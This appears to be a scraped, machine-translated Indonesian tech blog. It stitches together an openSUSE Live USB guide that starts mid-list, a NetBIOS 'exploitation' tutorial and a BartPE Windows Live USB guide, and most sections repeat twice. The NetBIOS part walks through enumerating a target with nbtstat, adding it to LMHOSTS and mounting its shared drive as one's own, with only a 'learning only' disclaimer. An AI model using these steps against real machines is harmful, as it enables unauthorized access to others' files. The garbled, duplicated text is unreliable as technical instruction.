6. Isolinux.cfg rename the existing files in root folder of USB flash disk into syslinux.cfg
7. Initrdud Copy the downloaded file to root folder of USB Flash Disk
8. Make small changes to the file initrdud syslinux.cfg to use, not initrd. Make changes to this line: append initrd = initrd ramdisk_size = 512,000 ramdisk_blocksize = 4096 splash = silent showopts to append initrd = initrdud kiwidebug = 1 ramdisk_size = 512,000 ramdisk_blocksize = 4096 splash = silent kiwidebug = showopts Option 1 will display any error messages:-D to terminal
TESTING
1. Boot the computer with the boot priority is the USB HDD. Most recent computers should already support this option. If using a laptop or computer that supports booting changes on the fly, change the selection by pressing the keyboard key F12, F8, F9, or another button with your computer configuration
2. When booting, press ENTER when there is the option to boot. Live-Typing System writing as required will cause an error message. We can modify this message but it is not too problematic if left so there :-)
Make Open Suse Live CD
openSUSE remastering process requires a fairly long process to get it. Some distributions provide a relatively easy way and openSUSE "should" be too:-D. No problem with that KIWI KIWI remastering provides various options, such as to make LiveUSB openSUSE, LiveCD, QEMU image, VMWare image, and XEN Image but there are times when we need some adjustments that do not have to KIWI.
I am looking for a variety of topics and and how to make openSUSE Live USB and some are quite interesting to try. After trying and reviewing some tips, here is the easiest way to make openSUSE Live USB using Windows systems:-P.
Why should using Windows? Of course there is no necessity. Use the Windows system intended for Windows users who want to try openSUSE using LiveUSB without having to install and no need to fear there is a problem with the data and existing systems.
Here is a summary of the manufacturing process:
BENEFITS
1. This tutorial can be used both in Windows and on Linux. Only difference lies in the process of making a bootable Live USB (using syslinux)
2. Installation process does not require prior openSUSE as KIWI. Just download the ISO procedure requires the LiveCD and tools to extract the ISO (a free utility 7-zip can do)
3. Can use the FAT 32 file system so that the USB Flash Disk can be used to store files from Windows, Linux or Mac.
4. It's easy, just need a few short steps
5. Fast process, take a few minutes. Longest process is to copy an ISO image of 700 MB ;-)
PREPARATION
1. Prepare USB Flash Disk 1 GB minimum
2. Download the latest version of syslinux
3. Download the modifications initrd - initrdud name - from uploads Blog Weblog. These modifications include changes initrd boot from the CD to the USB and additional modules for the NLS character set FAT 32
4. Download openSUSE LiveCD ISO. As of this writing, I am using openSUSE 11.0 RC 1
MAKE bootable LiveUSB
1. Run Windows
2. Plug in USB Flash Disk
3. Extract the downloaded syslinux
4. Open a DOS Prompt (Command Prompt)
5. Move to extract the syslinux folder, go to the folder win32
6. Run the command syslinux-ma driver-letter-of-flash-disk, for example: syslinux-ma E: with E is a USB Flash Disk drivers. Note: The process of making a bootable disk is very fast so do not wait for long:-D
MANUFACTURING PROCESS LIVE USB
1. Plug in USB Flash Disk re already bootable
2. Create a temporary folder to extract the ISO LiveCD, such as folders liveiso
3. Extract the LiveCD ISO using 7-zip or winrar into a folder liveiso
4. Copy the entire contents of liveiso to USB Flash disk
5. Copy the entire contents of the folder boot/i386/loader to USB Flash disk (the root folde, not in the folder. That is, copy to drive E: instead of into a folder on drive E:)
6. Isolinux.cfg rename the existing files in root folder of USB flash disk into syslinux.cfg
7. Initrdud Copy the downloaded file to root folder of USB Flash Disk
8. Make small changes to the file initrdud syslinux.cfg to use, not initrd. Make changes to this line: append initrd = initrd ramdisk_size = 512,000 ramdisk_blocksize = 4096 splash = silent showopts to append initrd = initrdud kiwidebug = 1 ramdisk_size = 512,000 ramdisk_blocksize = 4096 splash = silent kiwidebug = showopts Option 1 will display any error messages:-D to terminal
TESTING
1. Boot the computer with the boot priority is the USB HDD. Most recent computers should already support this option. If using a laptop or computer that supports booting changes on the fly, change the selection by pressing the keyboard key F12, F8, F9, or another button with your computer configuration
2. When booting, press ENTER when there is the option to boot. Live-Typing System writing as required will cause an error message. We can modify this message but it is not too problematic if left so there :-)
NETBIOS
dir\system32
NETBIOS
-------------------------------------------------- ------------------------------
Ever hear the term NetBIOS over TCP / IP
If so, should pass over this article
And if belom should be listened to:)
This paper only as a learning purpose only and that we can always cautious. :)
NetBIOS information we can actually use the system for the exploitation of these opponents and a way of exploitable targets using the file / printer Sharring
.gif)
In this article I assume you are using win 98
Before we start let us find nbtstat.exe
Actually the function of these files is to display protocol statistics and connections tcp / ip
Exploitation steps:)
1. Click Start -> Programs -> MS-Dos prompt -> write and then enter nbtstat
2. Click Start -> Run -> write nbtstat and OK
Think about appear like this:
NBTSTAT [[-a RemoteName] [-A IP address] [-c] [-n] [-r] [-R] [-RR] [-s] [-S] [interval]]
-a (adapter status) Lists the remote machine's name table given its name
-A (Adapter status) Lists the remote machine's name table given its IP address.
-c (cache) Lists NBT's cache of remote [machine] names and their IP addresses
-n (names) Lists local NetBIOS names.
-r (resolved) Lists names resolved by broadcast and via WINS
-R (Reload) Purges and reloads the remote cache name table
-S (Sessions) Lists sessions table with the destination IP addresses
-s (sessions) Lists sessions table converting destination IP addresses to NetBIOS computer names.
-RR (ReleaseRefresh) Release Name sends packets to WINS and then, starts Refresh
RemoteName Remote host machine name.
IP address Dotted decimal representation of the IP address.
Redisplays interval selected statistics, Pausing interval seconds
between each display. Press Ctrl + C to stop redisplaying statistics.
From the above information we can actually know funsi from nbtstat.exe
On this occasion I will try to review the above 2 options are:
-A
-a
ie we want to try the computer with the names belog.wasantara.net.id
then we use:
nbtstat-a belog.wasantara.net.id
example we want to try the computer with ip 192.168.1.1
then we use:
nbtstat-A 192.168.1.1
From the command that appears above possibilities are:
1. Host not found
2. And such a beautiful message below:
--------------------------------------------
NetBIOS Local Name Table
Name Type Status
---------------------------------------------
Belog <00> UNIQUE Registered
Polos <00> GROUP Registered
Belog <03> UNIQUE Registered
Belog <20> UNIQUE Registered
Polos <1E> GROUP Registered
---------------------------------------------
If the message Host not found, immediately stop your efforts, because it will useless waste of time:)
If a message appears as beautiful as the above, you should take a breath, because other jobs will be waiting.
From the beautiful message that the record is Belog characters with code <20> UNIQUE Registered, because this is the 20th conceited information file and printer sharing.
What's our next step?
Once we have the info above, locate the file named:
LMHOST or HOST (win 9x)
If you've met, opening with such noteped editor and add:
192.168.1.1 Belog
Then save.
Next
Click Start -> Find -> Computer
input name or ipnya
And you'll be screaming delight, because the remote computer you can make as your secondary HD:)
Congratulations:)
nb: once again, this article please only as learning materials only and is not used to damage and of this paper I hope, we should not casually open the file / printer sharing
NETBIOS
-------------------------------------------------- ------------------------------
Ever hear the term NetBIOS over TCP / IP
If so, should pass over this article
And if belom should be listened to:)
This paper only as a learning purpose only and that we can always cautious. :)
NetBIOS information we can actually use the system for the exploitation of these opponents and a way of exploitable targets using the file / printer Sharring
.gif)
In this article I assume you are using win 98
Before we start let us find nbtstat.exe
Actually the function of these files is to display protocol statistics and connections tcp / ip
Exploitation steps:)
1. Click Start -> Programs -> MS-Dos prompt -> write and then enter nbtstat
2. Click Start -> Run -> write nbtstat and OK
Think about appear like this:
NBTSTAT [[-a RemoteName] [-A IP address] [-c] [-n] [-r] [-R] [-RR] [-s] [-S] [interval]]
-a (adapter status) Lists the remote machine's name table given its name
-A (Adapter status) Lists the remote machine's name table given its IP address.
-c (cache) Lists NBT's cache of remote [machine] names and their IP addresses
-n (names) Lists local NetBIOS names.
-r (resolved) Lists names resolved by broadcast and via WINS
-R (Reload) Purges and reloads the remote cache name table
-S (Sessions) Lists sessions table with the destination IP addresses
-s (sessions) Lists sessions table converting destination IP addresses to NetBIOS computer names.
-RR (ReleaseRefresh) Release Name sends packets to WINS and then, starts Refresh
RemoteName Remote host machine name.
IP address Dotted decimal representation of the IP address.
Redisplays interval selected statistics, Pausing interval seconds
between each display. Press Ctrl + C to stop redisplaying statistics.
From the above information we can actually know funsi from nbtstat.exe
On this occasion I will try to review the above 2 options are:
-A
-a
ie we want to try the computer with the names belog.wasantara.net.id
then we use:
nbtstat-a belog.wasantara.net.id
example we want to try the computer with ip 192.168.1.1
then we use:
nbtstat-A 192.168.1.1
From the command that appears above possibilities are:
1. Host not found
2. And such a beautiful message below:
--------------------------------------------
NetBIOS Local Name Table
Name Type Status
---------------------------------------------
Belog <00> UNIQUE Registered
Polos <00> GROUP Registered
Belog <03> UNIQUE Registered
Belog <20> UNIQUE Registered
Polos <1E> GROUP Registered
---------------------------------------------
If the message Host not found, immediately stop your efforts, because it will useless waste of time:)
If a message appears as beautiful as the above, you should take a breath, because other jobs will be waiting.
From the beautiful message that the record is Belog characters with code <20> UNIQUE Registered, because this is the 20th conceited information file and printer sharing.
What's our next step?
Once we have the info above, locate the file named:
LMHOST or HOST (win 9x)
If you've met, opening with such noteped editor and add:
192.168.1.1 Belog
Then save.
Next
Click Start -> Find -> Computer
input name or ipnya
And you'll be screaming delight, because the remote computer you can make as your secondary HD:)
Congratulations:)
nb: once again, this article please only as learning materials only and is not used to damage and of this paper I hope, we should not casually open the file / printer sharing
Membuat Windows Live USB FlashDrive
dir\system32
MAKING WINDOWS LIVE USB FLASH DRIVE
(UFD windows live)
Usually OS, eg Windows or Linux installed directly to the hard drive, but some are not installed to the hard drive, but run through the CD which is known as Live CD. Now for linux that can run a lot through this CD without installing to your hard drive. For Windows, live cd can be created with the help of certain software that is BartPE.
When the USB Flash Drive began widely used with more capacity on the one gb, the medium for the program is now running OS live without installation to hard drive, would require computer device that can boot from USB.
This is different to boot from USB to do other than through the OS installation CD rom, it can also perform the OS installation cd rom does not pass but through the USB flash drive. But this tutorial is to make OS that can run without installation from USB to computer.
Materials needed.
To create a live windows from a USB flash drive that is stout tutorials on the internet, but here are my test results based on some tutorials available on the internet but it was not exactly the same as that presented, as is practiced there are several things that need midifikasi from us. Here's my experience making windows live from a USB Flash Drive. Required.
1. CD Windows XP SP 2 (original better, I try to use SP 3 but did not succeed)
2. PeBuilder software (I use version 3.1.10a and already in shape. Exe).
3. PeToUSB software (I use version _3.0.0.7, in the form. Zip, do not need to be installed can be run directly)
4. Computer that can boot from USB
How to make:
1. Insert the CD into the drive windows SP2 cd rom
2. Run PeBuilder (after the first installation). when the dialog appears the window. In the Source: the path to windows installation files, click the small box on the right to where the cd rom browsing the windows sp2 cd earlier. Let costum: (include files and folders from this directory) remained empty, while in the field under Output: (c: \ pebuilder3110a \ \ BartPE) still occupied the default BartPE. In Media output none button. Last click Build. Wait until the copy process is complete (approximately 30 minutes)
3. Plug in a USB flash drive (I use 4 gb, 1 gb is enough)
4. Last run PeToUSB.exe software. When the dialog box, under: Destination Drive button click / select button Removable USB. There underneath the dialog box where the USB Flash drive, automatically detected the USB flash drive plugged into the computer. Under Format Option: click the Enable Disk Format. In the Source Path To Build BartPE / WinPe Files, the contents of the box underneath the location of the file created using Windows PeBuilder by clicking the small box on the right to membrowsenya is in C: \ pebuilder3110a \ BartPE. Under the File Copy Options, click the Enable File Copy. Then click the Start wait until the process of copying to a USB Flash Drive is complete. Approximately 30 minutes.
5. Remove the USB Flash Drive Reboot the computer and boot with USB flash drives before, if EEE pc by pressing the Esc key when the boot process will then boot selection dialog appears, whether from "harsidk", USB or Memory card.
MAKING WINDOWS LIVE USB FLASH DRIVE
(UFD windows live)
Usually OS, eg Windows or Linux installed directly to the hard drive, but some are not installed to the hard drive, but run through the CD which is known as Live CD. Now for linux that can run a lot through this CD without installing to your hard drive. For Windows, live cd can be created with the help of certain software that is BartPE.
When the USB Flash Drive began widely used with more capacity on the one gb, the medium for the program is now running OS live without installation to hard drive, would require computer device that can boot from USB.
This is different to boot from USB to do other than through the OS installation CD rom, it can also perform the OS installation cd rom does not pass but through the USB flash drive. But this tutorial is to make OS that can run without installation from USB to computer.
Materials needed.
To create a live windows from a USB flash drive that is stout tutorials on the internet, but here are my test results based on some tutorials available on the internet but it was not exactly the same as that presented, as is practiced there are several things that need midifikasi from us. Here's my experience making windows live from a USB Flash Drive. Required.
1. CD Windows XP SP 2 (original better, I try to use SP 3 but did not succeed)
2. PeBuilder software (I use version 3.1.10a and already in shape. Exe).
3. PeToUSB software (I use version _3.0.0.7, in the form. Zip, do not need to be installed can be run directly)
4. Computer that can boot from USB
How to make:
1. Insert the CD into the drive windows SP2 cd rom
2. Run PeBuilder (after the first installation). when the dialog appears the window. In the Source: the path to windows installation files, click the small box on the right to where the cd rom browsing the windows sp2 cd earlier. Let costum: (include files and folders from this directory) remained empty, while in the field under Output: (c: \ pebuilder3110a \ \ BartPE) still occupied the default BartPE. In Media output none button. Last click Build. Wait until the copy process is complete (approximately 30 minutes)
3. Plug in a USB flash drive (I use 4 gb, 1 gb is enough)
4. Last run PeToUSB.exe software. When the dialog box, under: Destination Drive button click / select button Removable USB. There underneath the dialog box where the USB Flash drive, automatically detected the USB flash drive plugged into the computer. Under Format Option: click the Enable Disk Format. In the Source Path To Build BartPE / WinPe Files, the contents of the box underneath the location of the file created using Windows PeBuilder by clicking the small box on the right to membrowsenya is in C: \ pebuilder3110a \ BartPE. Under the File Copy Options, click the Enable File Copy. Then click the Start wait until the process of copying to a USB Flash Drive is complete. Approximately 30 minutes.
5. Remove the USB Flash Drive Reboot the computer and boot with USB flash drives before, if EEE pc by pressing the Esc key when the boot process will then boot selection dialog appears, whether from "harsidk", USB or Memory card.
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